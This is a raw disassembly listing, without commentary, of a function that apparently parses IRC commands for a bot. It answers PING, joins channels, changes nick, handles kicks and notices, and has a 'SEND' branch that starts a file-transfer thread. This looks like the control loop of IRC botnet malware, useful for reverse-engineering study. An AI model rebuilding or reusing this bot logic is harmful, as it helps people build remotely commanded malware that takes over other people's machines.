var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= byte ptr -2B40h
var_2AC0	= dword	ptr -2AC0h
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41BF70
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F75
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BF70
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	offset asc_42CDCC ; " :"
		push	eax
		call	sub_41C2E0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		mov	esi, offset asc_42CDC8 ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41CAD4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F75
		cmp	[ebp+var_8C], ebx
		jz	loc_401F75
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CDC4 ; "!"
		push	eax
		call	sub_41CAD4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a005	; "005"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a302	; "302"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BFD0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40AE84
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9A
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD58
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F75
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E8D:				; CODE XREF: sub_401ACD+5F6j
					; sub_401ACD+8B9j ...
		push	[ebp+arg_4]
		call	sub_409823
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_401E9A:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FDD
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC3:				; CODE XREF: sub_401ACD+448j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F10
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F10
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C890
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C8A0
		add	esp, 10h
		mov	edi, 80h


loc_401F10:				; CODE XREF: sub_401ACD+407j
					; sub_401ACD+41Ej
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC3
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_401F75
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F75
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F4D
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BFD0
		jmp	loc_4036A2
; ---------------------------------------------------------------------------


loc_401F4D:				; CODE XREF: sub_401ACD+46Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F52:				; CODE XREF: sub_401ACD+4A6j
		cmp	[edi], bl
		jz	short loc_401F69
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F7D


loc_401F69:				; CODE XREF: sub_401ACD+487j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F52


loc_401F75:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401F77:				; CODE XREF: sub_401ACD+2A1Ej
		pop	eax


loc_401F78:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A40j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F7D:				; CODE XREF: sub_401ACD+49Aj
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F75
		push	eax
		call	sub_41B9C0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F75
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_401F75
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401ACD+3DCj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FFF
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402026


loc_401FFF:				; CODE XREF: sub_401ACD+51Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402004:				; CODE XREF: sub_401ACD+557j
		cmp	[edi], bl
		jz	short loc_40201A
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402067


loc_40201A:				; CODE XREF: sub_401ACD+539j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402004


loc_402026:				; CODE XREF: sub_401ACD+530j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020C8
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40205A
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40205A:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_80]
		push	offset unk_42CD04
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_402067:				; CODE XREF: sub_401ACD+54Bj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CCE4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41CA50
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F75
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4020C8:				; CODE XREF: sub_401ACD+56Dj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41CA50
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	offset dword_42CCD0
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		cmp	dword_429088, ebx
		jz	loc_409644


loc_40211C:				; CODE XREF: sub_401ACD+615j
					; sub_401ACD+627j
		push	[ebp+var_8C]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_402160:				; CODE XREF: sub_401ACD+891j
					; sub_401ACD+8CDj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CCC8
		mov	[ebp+arg_8], eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40253B
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402402
		cmp	[ebp+var_A4], ebx
		jz	loc_4023DB
		push	[ebp+esi+var_88]
		mov	edi, offset aS_2 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_1B98]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CC8C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset sub_416563
		push	ebx
		push	ebx
